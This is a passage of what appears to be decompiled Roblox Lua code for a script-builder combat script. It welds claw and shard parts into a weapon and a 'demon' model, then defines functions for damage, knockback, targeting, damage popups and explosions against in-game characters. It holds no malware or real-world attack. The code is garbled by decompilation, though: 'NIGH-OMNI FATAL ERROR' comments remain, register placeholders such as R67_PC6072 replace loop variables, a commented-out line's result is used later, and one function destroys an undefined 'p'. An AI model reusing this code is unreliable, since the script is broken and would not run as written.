  915. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  916. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  917. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  918. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  919. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  920. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  921. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  922. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  923. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  924. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  925. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  926. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  927. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  928. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  929. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  930. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  931. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  932. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  933. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  934. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  935. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  936. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  937. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  938. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  939. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  940. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  941. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  942. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  943. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  944. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  945. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  946. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  947. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  948. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  949. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  950. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  951. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  952. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  953. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  954. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  955. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  956. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  957. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  958. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  959. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  960. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  961. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  962. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  963. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  964. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  965. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  966. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  967. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  968. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  969. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  970. local CBlade = {}
  971. local CBladeWelds = {}
  972. for _,c in pairs(m:children()) do
  973. if c.className == "Part" then
  974. table.insert(CBlade, R67_PC6072)
  975. end
  976. end
  977. for _,c in pairs(m:children()) do
  978. if c.className == "Weld" then
  979. table.insert(CBladeWelds, R67_PC6072)
  980. print(R66_PC6093)
  981. end
  982. end
  983. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  984.  
  985. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  986.  
  987. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  988. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  989.  
  990. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  991.  
  992. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  993. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  994. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  995. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  996. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  997. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  998. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  999. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  1000. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  1001. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  1002. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  1003. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  1004. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  1005. local DBlade = {}
  1006. local DBladeWelds = {}
  1007. for _,c in pairs(demon:children()) do
  1008. if c.className == "Part" then
  1009. table.insert(DBlade, c)
  1010. end
  1011. end
  1012. for _,c in pairs(demon:children()) do
  1013. if c.className == "Weld" then
  1014. table.insert(DBladeWelds, c)
  1015. print(c)
  1016. end
  1017. end
  1018. demon.Parent = nil
  1019.  
  1020. paly = owner
  1021. char = paly.Character
  1022. torso = char.Torso
  1023. neck = char.Torso.Neck
  1024. hum = char.Humanoid
  1025. Player = owner
  1026. Character = Player.Character
  1027. tors = Character.Torso
  1028. lleg = Character["Left Leg"]
  1029. root = Character.HumanoidRootPart
  1030. hed = Character.Head
  1031. rleg = Character["Right Leg"]
  1032. rarm = Character["Right Arm"]
  1033. larm = Character["Left Arm"]
  1034. local Effects = {}
  1035. attack = false
  1036. vt = Vector3.new
  1037. bc = BrickColor.new
  1038. br = BrickColor.random
  1039. it = Instance.new
  1040. cf = CFrame.new
  1041. euler = CFrame.fromEulerAnglesXYZ
  1042. angles = CFrame.Angles
  1043. matr = math.random
  1044. local basiccooldown = math.huge
  1045. local ultcooldown = math.huge
  1046. local secondcooldown = math.huge
  1047. local thirdcooldown = math.huge
  1048.  
  1049. local boll = Instance.new("Part",game.Lighting)
  1050. boll.Transparency = 0.5
  1051. boll.Material = "Neon"
  1052. boll.BrickColor = tors.BrickColor
  1053. boll.Anchored = true
  1054. boll.Size = vt(1,1,1)
  1055. boll.Shape = "Ball"
  1056. boll.CanCollide = false
  1057.  
  1058. local shur = Instance.new("Part",game.Lighting)
  1059. shur.Transparency = 0
  1060. shur.Material = "Neon"
  1061. shur.BrickColor = tors.BrickColor
  1062. shur.Anchored = true
  1063. shur.Size = vt(5,0.2,5)
  1064. shur.CanCollide = false
  1065. local Meshshur = Instance.new("CylinderMesh",shur)
  1066.  
  1067.  
  1068. local boll = Instance.new("Part",game.Lighting)
  1069. boll.Transparency = 0.5
  1070. boll.Material = "Neon"
  1071. boll.BrickColor = bc("Bright red")
  1072. boll.Anchored = true
  1073. boll.Size = vt(1,1,1)
  1074. boll.Shape = "Ball"
  1075. boll.CanCollide = false
  1076.  
  1077. local shur = Instance.new("Part",game.Lighting)
  1078. shur.Transparency = 0
  1079. shur.Material = "Neon"
  1080. shur.BrickColor = bc("Bright red")
  1081. shur.Anchored = true
  1082. shur.Size = vt(5,0.2,5)
  1083. shur.CanCollide = false
  1084. local Meshshur = Instance.new("CylinderMesh",shur)
  1085.  
  1086. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1087. if hit.Parent==nil then
  1088. return
  1089. end
  1090. h=hit.Parent:FindFirstChild("Humanoid")
  1091. for _,v in pairs(hit.Parent:children()) do
  1092. if v:IsA("Humanoid") then
  1093. h=v
  1094. end
  1095. end
  1096. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1097. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1098. end
  1099. if hit.Parent.className=="Hat" then
  1100. hit=hit.Parent.Parent:findFirstChild("Head")
  1101. end
  1102. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1103. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1104. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1105. return
  1106. end]]
  1107. -- hs(hit,1.2)
  1108. c=Instance.new("ObjectValue")
  1109. c.Name="creator"
  1110. c.Value=owner
  1111. c.Parent=h
  1112. game:GetService("Debris"):AddItem(c,.5)
  1113. Damage=math.random(minim,maxim)
  1114. -- h:TakeDamage(Damage)
  1115. blocked=false
  1116. block=hit.Parent:findFirstChild("Block")
  1117. if block~=nil then
  1118. print(block.className)
  1119. if block.className=="NumberValue" then
  1120. if block.Value>0 then
  1121. blocked=true
  1122. if decreaseblock==nil then
  1123. block.Value=block.Value-1
  1124. end
  1125. end
  1126. end
  1127. if block.className=="IntValue" then
  1128. if block.Value>0 then
  1129. blocked=true
  1130. if decreaseblock~=nil then
  1131. block.Value=block.Value-1
  1132. end
  1133. end
  1134. end
  1135. end
  1136. if blocked==false then
  1137. -- h:TakeDamage(Damage)
  1138. h.Health=h.Health-Damage
  1139. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1140. else
  1141. h.Health=h.Health-(Damage/2)
  1142. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1143. end
  1144. if Type=="Knockdown" then
  1145. hum=hit.Parent.Humanoid
  1146. hum.PlatformStand=true
  1147. coroutine.resume(coroutine.create(function(HHumanoid)
  1148. swait(1)
  1149. HHumanoid.PlatformStand=false
  1150. end),hum)
  1151. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1152. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1153. local bodvol=Instance.new("BodyVelocity")
  1154. bodvol.velocity=angle*knockback
  1155. bodvol.P=5000
  1156. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1157. bodvol.Parent=hit
  1158. rl=Instance.new("BodyAngularVelocity")
  1159. rl.P=3000
  1160. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1161. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1162. rl.Parent=hit
  1163. game:GetService("Debris"):AddItem(bodvol,.5)
  1164. game:GetService("Debris"):AddItem(rl,.5)
  1165. elseif Type=="Normal" then
  1166. vp=Instance.new("BodyVelocity")
  1167. vp.P=500
  1168. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1169. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1170. if KnockbackType==1 then
  1171. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1172. elseif KnockbackType==2 then
  1173. vp.velocity=Property.CFrame.lookVector*knockback
  1174. end
  1175. if knockback>0 then
  1176. vp.Parent=hit.Parent.Torso
  1177. end
  1178. game:GetService("Debris"):AddItem(vp,.5)
  1179. elseif Type=="Up" then
  1180. local bodyVelocity=Instance.new("BodyVelocity")
  1181. bodyVelocity.velocity=vt(0,10,0)
  1182. bodyVelocity.P=1000
  1183. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1184. bodyVelocity.Parent=hit
  1185. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1186. rl=Instance.new("BodyAngularVelocity")
  1187. rl.P=3000
  1188. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1189. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1190. rl.Parent=hit
  1191. game:GetService("Debris"):AddItem(rl,.5)
  1192. elseif Type=="Snare" then
  1193. bp=Instance.new("BodyPosition")
  1194. bp.P=2000
  1195. bp.D=100
  1196. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1197. bp.position=hit.Parent.Torso.Position
  1198. bp.Parent=hit.Parent.Torso
  1199. game:GetService("Debris"):AddItem(bp,1)
  1200. elseif Type=="Target" then
  1201. if Targetting==false then
  1202. ZTarget=hit.Parent.Torso
  1203. coroutine.resume(coroutine.create(function(Part)
  1204. swait(5)
  1205. end),ZTarget)
  1206. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1207. targetgui=Instance.new("BillboardGui")
  1208. targetgui.Parent=ZTarget
  1209. targetgui.Size=UDim2.new(10,100,10,100)
  1210. targ=Instance.new("ImageLabel")
  1211. targ.Parent=targetgui
  1212. targ.BackgroundTransparency=1
  1213. targ.Image="rbxassetid://4834067"
  1214. targ.Size=UDim2.new(1,0,1,0)
  1215. cam.CameraType="Scriptable"
  1216. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1217. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1218. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1219. Targetting=true
  1220. RocketTarget=ZTarget
  1221. for i=1,Property do
  1222. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1223. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1224. swait()
  1225. end
  1226. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1227. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1228. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1229. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1230. end
  1231. Targetting=false
  1232. RocketTarget=nil
  1233. targetgui.Parent=nil
  1234. cam.CameraType="Custom"
  1235. end
  1236. end
  1237. debounce=Instance.new("BoolValue")
  1238. debounce.Name="DebounceHit"
  1239. debounce.Parent=hit.Parent
  1240. debounce.Value=true
  1241. game:GetService("Debris"):AddItem(debounce,Delay)
  1242. c=Instance.new("ObjectValue")
  1243. c.Name="creator"
  1244. c.Value=Player
  1245. c.Parent=h
  1246. game:GetService("Debris"):AddItem(c,.5)
  1247. CRIT=false
  1248. hitDeb=true
  1249. AttackPos=6
  1250. end
  1251. end
  1252.  
  1253. showDamage=function(Char,Dealt,du,Color)
  1254. m=Instance.new("Model")
  1255. m.Name=tostring(Dealt)
  1256. h=Instance.new("Humanoid")
  1257. h.Health=0
  1258. h.MaxHealth=0
  1259. h.Parent=m
  1260. c=Instance.new("Part")
  1261. c.Transparency=0
  1262. c.Material = "Neon"
  1263. c.BrickColor=bc("New Yeller")
  1264. c.Name="Head"
  1265. c.TopSurface=0
  1266. c.BottomSurface=0
  1267. local tick = Instance.new("Sound",c)
  1268. tick.SoundId = "rbxassetid://12221976"
  1269. tick.Volume = 5
  1270. tick.Pitch = 4
  1271. tick:Play()
  1272. c.formFactor="Plate"
  1273. c.Size=Vector3.new(1,.4,1)
  1274. ms=Instance.new("CylinderMesh")
  1275. ms.Scale=Vector3.new(.8,.8,.8)
  1276. if CRIT==true then
  1277. ms.Scale=Vector3.new(1,1.25,1)
  1278. end
  1279. ms.Parent=c
  1280. c.Reflectance=0
  1281. Instance.new("BodyGyro").Parent=c
  1282. c.Parent=m
  1283. if Char:findFirstChild("Head")~=nil then
  1284. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1285. elseif Char.Parent:findFirstChild("Head")~=nil then
  1286. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1287. end
  1288. f=Instance.new("BodyPosition")
  1289. f.P=2000
  1290. f.D=100
  1291. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1292. f.position=c.Position+Vector3.new(0,3,0)
  1293. f.Parent=c
  1294. game:GetService("Debris"):AddItem(m,.5+du)
  1295. c.CanCollide=false
  1296. m.Parent=workspace
  1297. c.CanCollide=false
  1298. p:Destroy()
  1299. end
  1300.  
  1301. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1302. for _, c in pairs(workspace:children()) do
  1303. local hum = c:findFirstChild("Humanoid")
  1304. if hum ~= nil then
  1305. local head = c:findFirstChild("Torso")
  1306. if head ~= nil then
  1307. local targ = head.Position - Part.Position
  1308. local mag = targ.magnitude
  1309. if mag <= magni and c.Name ~= Player.Name then
  1310. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1311. end
  1312. end
  1313. end
  1314. end
  1315. end
  1316.  
  1317. function Explode(rad,par)
  1318. local expart = Instance.new("Part",script.Parent)
  1319. local expart2 = Instance.new("Part",script.Parent)
  1320. local partMesh = Instance.new("SpecialMesh",expart)
  1321. partMesh.MeshType = "Sphere"
  1322. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1323. partMesh2.MeshType = "Sphere"
  1324. local expld = Instance.new("Explosion", script.Parent)
  1325. local plode = Instance.new("Sound",expart)
  1326. plode.SoundId = "rbxassetid://165970126"
  1327. plode.Volume = 1
  1328. plode.Pitch = 1
  1329. plode.Looped = false
  1330. plode:Play()
  1331. expld.BlastRadius = rad
  1332. expld.Position = par.Position
  1333. partMesh.Scale = vt(rad,rad,rad)
  1334. expart.Size = vt(1,1,1)*1.5
  1335. expart.Transparency = 0
  1336. expart.Anchored = true
  1337. expart.Material = "Neon"
  1338. expart.BrickColor = bc("White")
  1339. expart.CFrame = par.CFrame
  1340. partMesh2.Scale = vt(rad,rad,rad)
  1341. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1342. expart2.Transparency = 0.5
  1343. expart2.Anchored = true
  1344. expart2.Material = "Neon"
  1345. expart2.BrickColor = bc("New Yeller")
  1346. expart2.CFrame = par.CFrame
